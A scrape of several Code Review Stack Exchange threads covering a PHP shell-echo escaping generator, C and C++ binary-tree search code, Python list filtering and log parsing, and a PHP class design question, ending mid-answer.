<code>continue</code></h3>\n<p>There is a useless <code>continue</code> statement at the end of the <code>for</code> loop. While it doesn't have any affects it could lead to confusion by anyone reading the code (including your future self).</p>\n<h2 id=\"updated-code-s65x\">Updated Code</h2>\n<p>I tested this code on <a href=\"https://tehplayground.com/UDS4V5UNKe0anNXm\" rel=\"nofollow noreferrer\">tehplayground.com</a></p>\n<pre><code>function encodeChar($char) {\n //could be declared as a constant\n $replacements = [\n "\\\\" => "\\\\\\\\",\n '\\'' => '\\'\\\\\\'\\'',\n "\\n" => "\\\\n",\n "\\r" => "\\\\r"\n ];\n // http://www.asciitable.com/\n $specialAsciiWhitelist = " !\\"#$%&'()*+,-./:;<=>?@[\\\\]^_`{|}~";\n if (isset($replacements[$char])) {\n return $replacements[$char];\n }\n if (ctype_alnum($char) || strpos($specialAsciiWhitelist, $char) !== false) {\n return $char;\n }\n // some binary-ish or unicode-ish data, hex-escape it..\n $hex = bin2hex($char);\n $hex = str_split($hex, 2);\n return '\\\\x' . implode('\\\\x', $hex);\n}\n/**\n * generate command to echo (binary?) data to stdout\n *\n * @param string $binary\n * the (optionally binary) data to echo\n * @param int $max_ish_line_length\n * the circa-max line length for the data (PS! it's not accurate, it wraps at *circa* this length)\n * @return string\n */\nfunction generateBinaryEcho(string $binary, int $max_ish_line_length = 50): string\n{\n $inner_max_ish_line_length = (- 2) + $max_ish_line_length;\n $ret = "echo -ne '";\n $line_length = strlen($ret);\n foreach(str_split($binary) as $curr) {\n if ($line_length >= $inner_max_ish_line_length) {\n $ret .= "'\\\\\\n'";\n $line_length = 1;//strlen("'");\n }\n $encodedChar = encodeChar($curr);\n $line_length += strlen($encodedChar);\n $ret .= $encodedChar;\n }\n return $ret . "'";\n}\n</code></pre>\n",
"comments": [
{
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2020-09-24T02:14:45.340",
"Id": "489774",
"Score": "2",
"body": "thanks for reviewing it! several good points, and i'm glad no actual bugs were found. (this next part doesn't really matter, but the overhead of str_split() is much greater than what would be saved with the strlen() optimization, but php 7.1 added const strlen optimization anyway, strlen(\"'\") compiles to int(1) as of php 7.1 ^^ also isset() is faster than array_key_exists, array_key_exists is a function call with function-call-overhead, isset() is an operator or something, isset doesn't have function-call-overhead. important to note that the 2 behaves differently, but only related to nulls)"
},
{
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2021-07-16T14:21:41.870",
"Id": "521623",
"Score": "0",
"body": "found a bug (possible vulnerability?) that we both missed: `-` needs to be encoded if it is the very first character, because otherwise echo thinks its part of echo options instead of data-to-be-printed, a quickfix would be ```$encodedChar = ((strlen($ret) === 10 && $curr === '-' )? '\\\\x2d' : encodeChar($curr));``` - that's not a good fix, just a quickfix ^^ testcase: `echo generateBinaryEcho(\"-ne\");`"
}
],
"meta_data": {
"CommentCount": "2",
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2020-09-23T22:50:28.323",
"Id": "249773",
"ParentId": "249745",
"Score": "4"
}
}
] |
{
"AcceptedAnswerId": "249773",
"CommentCount": "2",
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2020-09-23T15:53:29.430",
"Id": "249745",
"Score": "6",
"Tags": [
"php",
"security",
"bash",
"escaping"
],
"Title": "binary data shell echo generator"
}
|
249745
|
<p>I have the following which works but was wondering if there's a better way. Better meaning more efficient and or more compact.</p>
<p>The function checks a trie to see if the word is in the trie.</p>
<pre><code>typedef struct nodeWords
{
char * word;
int index;
struct nodeWords *left;
struct nodeWords *right;
} nodeWords;
nodeWords ** nodeArray;
/* nodeArray is a pointer to an array of pointers. nodeArray[nodeIdx] is
a pointer to the middle nodeWords strut where word comes from a sorted
list. Basic divide and conquer routine. */
bool check(const char *word)
{
int nodeIdx = hash(word);
if (nodeIdx < 0)return false;
nodeWords * searchNode;
searchNode = nodeArray[nodeIdx]; //nodeArray is global
bool whileFlag = true, returnFlag = false;
do
{
if (strcmp(word,searchNode->word) == 0 )
{
whileFlag = false;
returnFlag = true;
}
else if (strcmp(word,searchNode->word) < 0 )
{
if(searchNode->left == NULL)
{
whileFlag = false;
}else{
searchNode = searchNode->left;
}
}else{
if(searchNode->right == NULL)
{
whileFlag = false;
}else{
searchNode = searchNode->right;
}
}
}while (whileFlag);
return returnFlag;
}
</code></pre>
<p>for instance, we could rewrite the function this way:</p>
<pre><code>bool check(const char *word)
{
int nodeIdx = hash(word);
if (nodeIdx < 0)return false;
nodeWords * searchNode;
searchNode = nodeArray[nodeIdx];
bool returnFlag = false;
do
{
if (strcmp(word,searchNode->word) == 0 )returnFlag = true;
else if (strcmp(word,searchNode->word) < 0 && searchNode->left != NULL) searchNode = searchNode->left;
else if (strcmp(word,searchNode->word) > 0 && searchNode->right != NULL) searchNode = searchNode->right;
}while (searchNode->left != NULL || searchNode->right != NULL || strcmp(word,searchNode->word) == 0);
return returnFlag;
}
</code></pre>
<p>I notice that the second function is actually not going to work as it's not quite the same as the first but we could change the while loop condition</p>
|
[
{
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2020-09-23T18:49:13.167",
"Id": "489731",
"Score": "4",
"body": "The two versions presented are not equivalent. The first one does `free(searchNode)`, while the second does not. Please make up your mind. Besides, the question would greatly benefit if the definitions of `nodeWords`, `hash`, and an initialization of `nodeArray` are provided. As of now, expect downvotes and VTCs."
},
{
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2020-09-23T18:57:09.587",
"Id": "489734",
"Score": "3",
"body": "Without the surrounding code I can't begin to do a review, for instance it is not clear what the type of `searchNode` is. The fact that you delete it in the first version indicates it is a pointer but to what. To be able to do a proper view a reviewer needs to see all the declarations and how the `nodeArray` is built.This question is definitely missing code context."
},
{
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2020-09-24T00:23:42.653",
"Id": "489768",
"Score": "0",
"body": "question updated to reflect comments. Thanks."
}
] |
[
{
"body": "<p><sub>I don't know C, my code is not tested.</sub></p>\n<ul>\n<li>Having whitespace at the end of lines of code is really annoying to work with.</li>\n<li>I'm not a fan of <code>if</code> without curvy brackets. I have previously been bitten by adding another expression in the if and neglecting to add the brackets.</li>\n<li>I would much prefer using <code>break</code> over <code>while (whileFlag)</code>.</li>\n<li>I would much prefer using <code>return ...</code> over <code>returnFlag</code>.</li>\n<li>By changing the above we can change the <code>do while</code> loop to just a <code>while (true)</code> loop.</li>\n<li>If you've followed along with the changes we can see that <code>searchNode</code> will be null when we want to break from the loop. And so we can remove the inner ifs by moving them to the <code>while</code>.</li>\n</ul>\n<pre class=\"lang-c prettyprint-override\"><code>bool check(const char *word)\n{\n int nodeIdx = hash(word);\n if (nodeIdx < 0)\n {\n return false;\n }\n\n nodeWords * searchNode;\n searchNode = nodeArray[nodeIdx];\n\n while (searchNode != NULL)\n {\n if (strcmp(word, searchNode->word) == 0 )\n {\n return true;\n }\n else if (strcmp(word, searchNode->word) < 0 )\n {\n searchNode = searchNode->left;\n }else{\n searchNode = searchNode->right;\n }\n }\n return false;\n}\n</code></pre>\n",
"comments": [],
"meta_data": {
"CommentCount": "0",
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2020-09-24T01:01:51.180",
"Id": "249777",
"ParentId": "249749",
"Score": "1"
}
}
] |
{
"AcceptedAnswerId": "249777",
"CommentCount": "3",
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2020-09-23T17:27:28.010",
"Id": "249749",
"Score": "1",
"Tags": [
"performance",
"c"
],
"Title": "function to check if word matches search word"
}
|
249749
|
<p>I have a list and I need to get certain elements out of it. The way I did it was to compare the second list to the first list and then append to a third list. Here is my code:</p>
<pre><code>l1 = ["0 = 0","1 = 1","2 = 2", "And",
"Something", "Wicked", "This", "Way", "Comes",
f"zero.0 = 0", f"one.0 = 1", f"two.0 = 2",
f"zero.1 = 0", f"one.1 = 1", f"two.1 = 2",
f"zero.2 = 0", f"one.2 = 1", f"two.2 = 2",
"purple", "monkey", "dishwasher"]
l3 = []
for element in l1:
for i in range(3):
l2 = [f"zero.{i} = 0", f"one.{i} = 1", f"two.{i} = 2"]
for j in l2:
if j in element:
l3.append(element)
</code></pre>
<p>The results of this nested <code>for</code> loop is:</p>
<pre><code>['zero.0 = 0', 'one.0 = 1', 'two.0 = 2', 'zero.1 = 0', 'one.1 = 1', 'two.1 = 2', 'zero.2 = 0', 'one.2 = 1', 'two.2 = 2']
</code></pre>
<p>The result is exactly what I want but I'm looking for a more Pythonic way of writing this. Any help would be greatly appreciated.</p>
|
[
{
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2020-09-23T18:10:07.983",
"Id": "489720",
"Score": "0",
"body": "Where is `i` defined in the second list?"
},
{
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2020-09-23T18:11:40.420",
"Id": "489721",
"Score": "1",
"body": "I defined `i` in the `for` loop `for i in range(3):`"
},
{
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2020-09-23T18:15:00.950",
"Id": "489722",
"Score": "0",
"body": "Ah, before your edit you had `l2` outside of your loop."
},
{
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2020-09-23T18:17:39.030",
"Id": "489723",
"Score": "0",
"body": "@Linny Yeah, I figured an edit would clear it up a bit. Sorry about that."
}
] |
[
{
"body": "<h1>Unnecessary format strings</h1>\n<p>Unless you intend to format a string right then and there, you don't need an <code>f</code> before it.</p>\n<h1>Regex</h1>\n<p>This can be reduced to one line using regex:</p>\n<pre><code>import re\n\nl3 = [item for item in l1 if re.match(r"\\w{3,5}[.]\\d\\s[=]\\s\\d{1,}", item)]\n</code></pre>\n<h1>Explanation</h1>\n<ul>\n<li><p>\\w{3,5} matches any word character (equal to [a-zA-Z0-9_])</p>\n<ul>\n<li>{3,5} Quantifier — Matches between 3 and 5 times, as many times as possible, giving back as needed (greedy)</li>\n</ul>\n</li>\n<li><p>Match a single character present in the list below [.]</p>\n<ul>\n<li><p>. matches the character . literally (case sensitive)</p>\n</li>\n<li><p>\\d matches a digit (equal to [0-9])</p>\n</li>\n<li><p>\\s matches any whitespace character (equal to [\\r\\n\\t\\f\\v ])</p>\n</li>\n</ul>\n</li>\n<li><p>Match a single character present in the list below [=]</p>\n<ul>\n<li><p>= matches the character = literally (case sensitive)</p>\n</li>\n<li><p>\\s matches any whitespace character (equal to [\\r\\n\\t\\f\\v ])</p>\n</li>\n</ul>\n</li>\n<li><p>\\d{1,} matches a digit (equal to [0-9])</p>\n<ul>\n<li>{1,} Quantifier — Matches between one and unlimited times, as many times as possible, giving back as needed (greedy)</li>\n</ul>\n</li>\n</ul>\n",
"comments": [
{
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2020-09-23T18:55:41.977",
"Id": "489733",
"Score": "0",
"body": "Very nice @Linny. I wanted to use `l3 = [x for x in l1 if any(y in x for y in l2)]` originally, but that only yielded `['zero.2 = 0', 'one.2 = 1', 'two.2 = 2']` for `l3`."
}
],
"meta_data": {
"CommentCount": "1",
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2020-09-23T18:35:40.380",
"Id": "249759",
"ParentId": "249751",
"Score": "1"
}
}
] |
{
"AcceptedAnswerId": "249759",
"CommentCount": "4",
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2020-09-23T17:50:43.817",
"Id": "249751",
"Score": "0",
"Tags": [
"python",
"python-3.x"
],
"Title": "Creating a filtered list by comparing one list to another other list - Python"
}
|
249751
|
<p>I'm a student working as a research assistant and wrote this script to automate density functional theory HPC tasks with SLURM. When a calculation is complete the script checks the contents of a log file for the total force, and if it's above the desired threshold it generates a new input file, <code>file.in.new</code>, with relaxed atomic positions from the log which is passed to another script in the automation process. Please point out any issues with formatting, syntax, etc, and if there's anything I could do to simplify things.</p>
<p>Example of use: <code>python generate.py file.log file.in</code></p>
<pre><code>from sys import argv
def arg_parse(argv):
try:
log_file=argv[1]
input_file=argv[2]
override=False
except IndexError as e:
raise SystemExit
if len(argv)==4 and argv[3].strip("-")=='o':
override=True
scan_and_write(log_file, input_file, override)
#---------------------------------------------------------------------
def scan_and_write(log_file, input_file, override):
with open(log_file, 'r+') as log:
total_force=[float(line.split()[3]) for line in log if line.rfind('Total force =') != -1][-1]
tolerance(total_force, override, input_file)
log.seek(0)
total_cycles=sum([1 for line in log if line.rfind('ATOMIC_POSITIONS (crystal)') != -1])
log.seek(0)
index=[int(line.split("=")[1]) for line in log if ("number of atoms/cell" in line)][0]
log.seek(0)
for line in log:
if line.rfind('ATOMIC_POSITIONS (crystal)') != -1:
atomic_positions=[log.readline().split() for i in range(index)]
new_input=open(input_file.replace('.in', '.in.new'), "w+")
fmt = '{:2} {:12.9f} {:12.9f} {:12.9f}\n'
with open(input_file, 'r+') as old_input:
for line in old_input:
if len(line.split()) != 4 and not line[0].isnumeric():
new_input.write(line)
if ('ATOMIC_POSITIONS') in line:
for position in atomic_positions:
new_input.write(fmt.format(position[0],*[float(xred) for xred in position[1:4]]))
#---------------------------------------------------------------------
def tolerance(force, override, file_name):
print('A total force of {} was achieved in the last SCF cycle'.format(force))
if (force < 0.001 and not override):
print("Relaxation sufficient, total force = %s...terminating" %force)
raise SystemExit
if (force < 0.001 and override):
print("Relaxation sufficient...total force = %s\n\nOverriding threshold"\
" limit and generating %s" %(force, file_name.replace('.in', '.in.new')))
#---------------------------------------------------------------------
if __name__ == "__main__":
arg_parse(argv)
</code></pre>
|
[
{
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2020-09-23T20:43:34.220",
"Id": "489751",
"Score": "1",
"body": "It would be very helpful to provide example input and expected output. For example, the code reads through `log_file` four times. It looks like `log_file` can contain multiple lines with `\"ATOMIC_POSITIONS\"`. If so, each occurrence overwrites the previous `atomic_positions`, which seems incorrect."
},
{
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2020-09-23T20:59:40.047",
"Id": "489754",
"Score": "0",
"body": "I'll be sure and edit the post for clarity. The log files contain 100 iterations of SCF calculations, each producing a set of new atomic positions, but I only want the last set of coordinates. In some cases it may only run 75, 50, or 20 cycles depending on how computationally intensive it is, but I only want the most recent set."
},
{
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2020-09-24T05:30:23.793",
"Id": "489784",
"Score": "1",
"body": "To reinforce a point already made, your parsing strategy (re-read the file for each piece of information you need) is unusual. I suspect there are much easier ways to do it, but it's not easy to give suggestions based on what we know. If you want better feedback, provide an example to show the file's data format."
}
] |
[
{
"body": "<p>One tip: use the <a href=\"https://docs.python.org/3/library/argparse.html\" rel=\"nofollow noreferrer\">argparse</a> module.</p>\n<pre><code>import argparse\n \nparser = argparse.ArgumentParser()\n\nparser.add_argument("--log_file", dest="log_file", type=str, required=True, help="Add some help text here")\nparser.add_argument("--input_file", dest="input_file", type=str, required=True, help="Add some help text here")\n\nargs = parser.parse_args()\n\n# show the values, will reach this point only if the two parameters were provided\nprint(f"log_file: {args.log_file}")\nprint(f"input_file: {args.input_file}")\n</code></pre>\n<p>Then you call your script like this:</p>\n<pre><code>python3 generate.py --log_file test.log --input_file test.txt\n</code></pre>\n<p>Parameter order is free.</p>\n<p>I have to admit I don't understand much about the purpose since I don't know about your input files.\nIf they are CSV then you might consider using the <a href=\"https://docs.python.org/3/library/csv.html\" rel=\"nofollow noreferrer\">csv</a> module. Then you should be able to simplify some statements like this one:</p>\n<pre><code>total_force=[float(line.split()[3]) for line in log if line.rfind('Total force =') != -1][-1]\n</code></pre>\n<p>Something is lacking in your script, badly: <strong>comments</strong>. They will help you too, especially when go back to reviewing code you wrote a few months ago. Probably you will have forgotten details and will have to reanalyze your own code.</p>\n",
"comments": [
{
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2020-09-23T20:01:45.930",
"Id": "489748",
"Score": "0",
"body": "The argparse tip is super helpful, thank you! The logs and inputs are all just formatted plain text, we're using programs like Quantum Espresso and Abinit."
}
],
"meta_data": {
"CommentCount": "1",
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2020-09-23T19:22:10.110",
"Id": "249765",
"ParentId": "249752",
"Score": "2"
}
}
] |
{
"AcceptedAnswerId": "249765",
"CommentCount": "3",
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2020-09-23T17:52:30.427",
"Id": "249752",
"Score": "1",
"Tags": [
"python",
"python-3.x"
],
"Title": "Searching and parsing text from a file"
}
|
249752
|
<p>I have an abstract <strong>Badge</strong> class, every class extending this class should always correctly set the incoming <em>name (string)</em> and <em>achievedAt (date)</em> fields.</p>
<p>There might be other classes that extend the <strong>Badge</strong> class, which will get passed different types of values in their constructor (see examples below), the most important thing is that <strong>each of these classes extending the badge class should have the correct type of value for name and achievedAt</strong></p>
<p>I currently have the following structure to achieve this:</p>
<pre><code><?php
namespace App\Domain\Badge;
use Carbon\Carbon;
abstract class Badge
{
private string $name;
private Carbon $achievedAt;
public function __construct(string $name, Carbon $achievedAt)
{
$this->name = $name;
$this->achievedAt = $achievedAt;
}
public function getName(): string
{
return $this->name;
}
public function getAchievedAt(): Carbon
{
return $this->achievedAt;
}
}
</code></pre>
<p>This is the KilometerBadge, extending the abstract Badge</p>
<pre><code><?php
namespace App\Domain\Badge;
use Carbon\Carbon;
class KilometerBadge extends Badge
{
public function __construct(int $kilometers, $activity)
{
$name = 'kilometer-badge-' . $kilometers;
$achievedAt = Carbon::parse($activity['start_date']);
parent::__construct($name, $achievedAt);
}
}
</code></pre>
<p>This is the ActivityNumberBadge, which builds the name using a different parameter</p>
<pre><code><?php
namespace App\Domain\Badge;
use Carbon\Carbon;
class ActivityNumber extends Badge
{
public function __construct(array $activities, $activity)
{
$name = 'kilometer-badge-' . count($activities);
$achievedAt = Carbon::parse($activity['start_date']);
parent::__construct($name, $achievedAt);
}
}
</code></pre>
<p>I'm wondering if this is the best way to go about this? Thank you!</p>
|
[] |
[
{
"body": "<p>I don't think you're taking advantage of the library you're using. The <code>Carbon</code> class extends the <a href=\"https://www.php.net/manual/en/class.datetime.php\" rel=\"nofollow noreferrer\">standard</a> <code>DateTime</code> class, and <a href=\"https://carbon.nesbot.com/docs/\" rel=\"nofollow noreferrer\">as per the documentation</a>, it can handle the instantiation of a <code>Carbon</code> object from a string representation, an integer timestamp, or any object implementing the <a href=\"https://www.php.net/manual/en/class.datetimeinterface\" rel=\"nofollow noreferrer\">DateTimeInterface</a> interface. In particular, the <code>Carbon::parse</code> method is really just a wrapper for the constructor, which parses its argument anyways.</p>\n<p>Taking advantage of this built-in capability, you could define the <code>Badge</code> class constructor as follows.</p>\n<pre><code>public function __construct(string $name, $achievedAt)\n{\n $this->name = $name;\n $this->achievedAt = new Carbon($achievedAt);\n}\n</code></pre>\n<p>You could also set the default value of the <code>$achievedAt</code> parameter to be <code>'now'</code>, which <code>Carbon</code> would correctly interpret and represent as the current date and time.</p>\n<pre><code>public function __construct(string $name, $achievedAt = 'now')\n{\n $this->name = $name;\n $this->achievedAt = new Carbon($achievedAt);\n}\n</code></pre>\n<p>This has the added benefit of removing the onus of adding the date parsing boilerplate from the caller, and they can now simply pass in the date argument if and when they need to (I'm assuming it's possible for user events to trigger achievements that merit badges, thus circumventing the need to parse a date-time string in those instances).</p>\n<pre><code><?php\n\nnamespace App\\Domain\\Badge;\n\nuse Carbon\\Carbon;\n\nclass KilometerBadge extends Badge\n{\n /**\n * Kilometer Badge Constructor\n *\n * @param int $kilometers Kilometers walked or something.\n * @param array $activity Associative-array containing activity info.\n */\n public function __construct(int $kilometers, array $activity)\n {\n parent::__construct('kilometer-badge-' . $kilometers, $activity['start_date']);\n }\n}\n</code></pre>\n<p>The creation of the <code>ActivityNumber</code> class is likewise simplified.</p>\n<pre><code><?php\n\nnamespace App\\Domain\\Badge;\n\nuse Carbon\\Carbon;\n\nclass ActivityNumber extends Badge\n{\n public function __construct(array $activities, $activity)\n {\n parent::__construct('kilometer-badge-' . count($activities), $activity['start_date']);\n }\n}\n</code></pre>\n<p>Note that if the <code>Carbon::parse</code> method fails, it will throw an <code>InvalidArgumentException</code>, which you need to make sure you're <a href=\"https://softwareengineering.stackexchange.com/questions/137581/should-i-throw-exception-from-constructor\">checking for</a>.</p>\n<p>With that being said, if the "kilometer-badge-x" badge you're creating in both classes is the same idea being created with two different classes, you might want to refactor.</p>\n<p>If you had multiple badge types (<code>BlueBadge</code> and <code>GreenBadge</code>, for example), then each would have its own class.</p>\n<pre><code>class BlueBadge extends Badge\n{\n //\n}\n\nclass GreenBadge extends Badge\n{\n //\n}\n</code></pre>\n<p>If you wanted multiple ways of constructing a single badge type, you could look into the <a href=\"https://www.oodesign.com/factory-pattern.html\" rel=\"nofollow noreferrer\">Factory pattern</a>. In this case, you could have a class <code>BlueBadgeFactory</code> in which you define two static methods, <code>createFromKilometers</code> and <code>createFromActivities</code>, both of which would return an instance of a <code>BlueBadge</code> object.</p>\n<pre><code>class BlueBadgeFactory\n{\n public static function createFromKilometers(int $kilometers, string $achievedAt) : BlueBadge\n {\n //\n }\n\n public static function createFromActivities(array $activities, array $activity) : BlueBadge\n {\n //\n }\n}\n</code></pre>\n<p>I'm not familiar with the project you're working on, but it might be helpful to create a base <code>AbstractBadgeFactory</code> class from which each concrete badge factory class inherits some functionality.</p>\n<p>Now that you've represented each badge with a single, distinct class with each badge type inheriting from a single <code>Badge</code> superclass, you can now more simply take advantage of polymorphism (you don't have to check whether an object is an <a href=\"https://www.php.net/manual/en/language.operators.type.php\" rel=\"nofollow noreferrer\">instance of</a> the <code>KilometerBadge</code> <em>or</em> the <code>ActivityNumber</code> badge, for instance - pun intended).</p>\n<p>Here's a pretty contrived example to write a function that renders an array of badges.</p>\n<pre><code>function renderBadges(array $badges) : void\n{\n foreach ($badges as $badge)\n {\n renderBadge($badge);\n }\n}\n</code></pre>\n<p>The above function simply calls the following <code>renderBadge</code> function, which takes a <code>Badge</code> argument and renders it.</p>\n<pre><code>function renderBadge(Badge $badge) : void\n{\n $badge->render();\n}\n</code></pre>\n<p>This assumes, of course, that you actually define a method <code>render</code> in the <code>Badge</code> class. By defining it as <code>abstract</code>, you would force each badge type to override it, thereby providing a unique implementation per badge type.</p>\n<p>The reason this example is contrived is because you don't want a <code>render</code> function on your <code>Badge</code> objects, since it presupposes the output format. Instead, you might define a <code>BadgeWriter</code> superclass, some subclasses like <code>BadgeJSONWriter</code> and <code>BadgeHTMLWriter</code> for API and Browser requests, respectively, and then you would pass in the badge in question to the writer object so that each writer badge object simply contains badge information and each writer object just takes that information and simply writes it to a specific format.</p>\n<p>I hope this helps; comments, corrections, questions, and feedback are always welcome.</p>\n",
"comments": [
{
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2020-09-24T05:04:01.600",
"Id": "489780",
"Score": "0",
"body": "Thanks for this post! That's solid advice on Carbon, I forgot it can parse about anything so it's a good idea to have the abstract class handle it."
},
{
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2020-09-24T05:17:10.617",
"Id": "489783",
"Score": "0",
"body": "The Factory pattern is perfect for this, completely forgot, that way I can remove the constructor from the individual classes extending the Badge class, the factory now creates the name from the given data, I hope that's correct.."
}
],
"meta_data": {
"CommentCount": "2",
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2020-09-23T22:17:11.710",
"Id": "249769",
"ParentId": "249758",
"Score": "2"
}
}
] |
{
"AcceptedAnswerId": "249769",
"CommentCount": "0",
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2020-09-23T18:29:16.560",
"Id": "249758",
"Score": "2",
"Tags": [
"php",
"object-oriented",
"constructor"
],
"Title": "Modify parameter data before creating an instance of a class in PHP"
}
|
249758
|
<p>I'm posting two similar solutions for LeetCode's "All Nodes Distance K in Binary Tree". If you'd like to review, please do so. Thank you!</p>
<h2>Problem</h2>
<blockquote>
<p>We are given a binary tree (with root node <code>root</code>), a <code>target</code> node,
and an integer value <code>K</code>.</p>
<p>Return a list of the values of all nodes that have a distance <code>K</code> from
the target node. The answer can be returned in any order.</p>
<h3>Input:</h3>
<ul>
<li><code>root = [3,5,1,6,2,0,8,null,null,7,4]</code>, <code>target = 5</code>, <code>K = 2</code></li>
</ul>
<h3>Output:</h3>
<ul>
<li><code>[7,4,1]</code></li>
</ul>
<h3>Explanation:</h3>
<ul>
<li>The nodes that are a distance 2 from the target node (with value 5) have values 7, 4, and 1.</li>
</ul>
<p><a href="https://i.stack.imgur.com/WZqKQ.png" rel="nofollow noreferrer"><img src="https://i.stack.imgur.com/WZqKQ.png" alt="enter image description here" /></a></p>
<ul>
<li>Note that the inputs "root" and "target" are actually TreeNodes.</li>
<li>The descriptions of the inputs above are just serializations of these objects.</li>
</ul>
<h3>Note:</h3>
<ul>
<li>The given tree is non-empty.</li>
<li>Each node in the tree has unique values 0 <= node.val <= 500.</li>
<li>The target node is a node in the tree.</li>
<li>0 <= K <= 1000.</li>
</ul>
<p>Note that the inputs "root" and "target" are actually TreeNodes. The
descriptions of the inputs above are just serializations of these
objects.</p>
</blockquote>
<h3>Solution 1</h3>
<pre><code>// The following block might slightly improve the execution time;
// Can be removed;
static const auto __optimize__ = []() {
std::ios::sync_with_stdio(false);
std::cin.tie(nullptr);
std::cout.tie(nullptr);
return 0;
}();
// Most of headers are already included;
// Can be removed;
#include <cstdint>
#include <vector>
#include <unordered_map>
#include <unordered_set>
using ValueType = int;
static const struct Solution {
static const std::vector<ValueType> distanceK(
TreeNode* root,
TreeNode* target,
const ValueType K
) {
std::vector<ValueType> res;
std::unordered_map<TreeNode*, TreeNode*> parents;
std::unordered_set<TreeNode*> visited;
getParent(root, parents);
depthFirstSearch(target, K, parents, visited, res);
return res;
}
private:
static const void getParent(
TreeNode* node,
std::unordered_map<TreeNode*, TreeNode*>& parents
) {
if (!node) {
return;
}
if (node->left) {
parents[node->left] = node;
getParent(node->left, parents);
}
if (node->right) {
parents[node->right] = node;
getParent(node->right, parents);
}
}
static const void depthFirstSearch(
TreeNode* node,
const ValueType K,
std::unordered_map<TreeNode*, TreeNode*>& parents,
std::unordered_set<TreeNode*>& visited,
std::vector<ValueType>& res
) {
if (!node) {
return;
}
if (visited.count(node) > 0) {
return;
}
visited.insert(node);
if (!K) {
res.emplace_back(node->val);
return;
}
depthFirstSearch(node->left, K - 1, parents, visited, res);
depthFirstSearch(node->right, K - 1, parents, visited, res);
depthFirstSearch(parents[node], K - 1, parents, visited, res);
}
};
</code></pre>
<h3>Solution 2</h3>
<pre><code>// The following block might slightly improve the execution time;
// Can be removed;
static const auto __optimize__ = []() {
std::ios::sync_with_stdio(false);
std::cin.tie(nullptr);
std::cout.tie(nullptr);
return 0;
}();
// Most of headers are already included;
// Can be removed;
#include <cstdint>
#include <vector>
#include <unordered_map>
#include <unordered_set>
using ValueType = int;
static const struct Solution {
const std::vector<ValueType> distanceK(
TreeNode* root,
TreeNode* target,
ValueType K
) {
getParent(root);
depthFirstSearch(target, K);
return res;
}
private:
std::vector<ValueType> res;
std::unordered_map<TreeNode*, TreeNode*> parents;
std::unordered_set<TreeNode*> visited;
const void getParent(
TreeNode* node
) {
if (!node) {
return;
}
if (node->left) {
parents[node->left] = node;
getParent(node->left);
}
if (node->right) {
parents[node->right] = node;
getParent(node->right);
}
}
const void depthFirstSearch(
TreeNode* node,
const ValueType K
) {
if (!node) {
return;
}
if (visited.count(node) > 0) {
return;
}
visited.insert(node);
if (!K) {
res.emplace_back(node->val);
return;
}
depthFirstSearch(node->left, K - 1);
depthFirstSearch(node->right, K - 1);
depthFirstSearch(parents[node], K - 1);
}
};
</code></pre>
<h3>Reference</h3>
<p>Here is LeetCode's template:</p>
<pre><code>/**
* Definition for a binary tree node.
* struct TreeNode {
* int val;
* TreeNode *left;
* TreeNode *right;
* TreeNode(int x) : val(x), left(NULL), right(NULL) {}
* };
*/
class Solution {
public:
vector<int> distanceK(TreeNode* root, TreeNode* target, int K) {
}
};
</code></pre>
<ul>
<li><p><a href="https://leetcode.com/problems/all-nodes-distance-k-in-binary-tree/" rel="nofollow noreferrer">863. All Nodes Distance K in Binary Tree - Problem</a></p>
</li>
<li><p><a href="https://leetcode.com/problems/all-nodes-distance-k-in-binary-tree/discuss/" rel="nofollow noreferrer">863. All Nodes Distance K in Binary Tree - Discuss</a></p>
</li>
</ul>
|
[] |
[
{
"body": "<h1>About <code>__optimize__</code></h1>\n<p>Identifiers starting with <a href=\"https://stackoverflow.com/questions/228783/what-are-the-rules-about-using-an-underscore-in-a-c-identifier\">double underscores are reserved</a>. Also, why is this written as a lambda instead of as a regular function? You're also not reading and writing to standard I/O, so this function wouldn't have any effect anyway.</p>\n<h1>Avoid creating type aliases outside of a class or namespace</h1>\n<p>Don't declare <code>using ValueType = int</code> in the global namespace, as it is a very generic name and could conflict with other code that does the same. In this case, just declare this inside <code>struct Solution</code>.</p>\n<h1><code>static const</code> has no effect on a struct definition</h1>\n<p>The qualifiers <code>static</code> and <code>const</code> have no effect on a definition of a <code>struct</code>. It is allowed in the C++ grammar because you can define a struct and declare a variable of that type in one go, like:</p>\n<pre><code>static const struct foo {\n ...\n} bar;\n\nfoo baz;\n</code></pre>\n<p>In the above, <code>bar</code> is <code>static const</code>, but <code>baz</code> is not.</p>\n<h1><code>const</code> has no effect on non-pointer/reference return values</h1>\n<p>Likewise, <code>const</code> has no effect on the return value of a function, unless it's a pointer or reference that is returned. It doesn't make sense, because you are always allowed to copy a <code>const</code> value into a non-<code>const</code> variable. Also, what do you expect <code>const void</code> to mean?</p>\n<h1>Static vs. non-<code>static</code> member functions</h1>\n<p>The two variants differ in whether they use non-<code>static</code> member functions, with state kept as class member variables, or <code>static</code> member functions with state allocated on the stack and passed as pointers to other member functions. Both are valid approaches, although the fact that it doesn't really matter should tell you that the use of a <code>struct Solution</code> itself is pointless. In a real world application, you would have a function <code>distanceK()</code> that is not a member of any class. I believe LeetCode just gives you a <code>class</code> 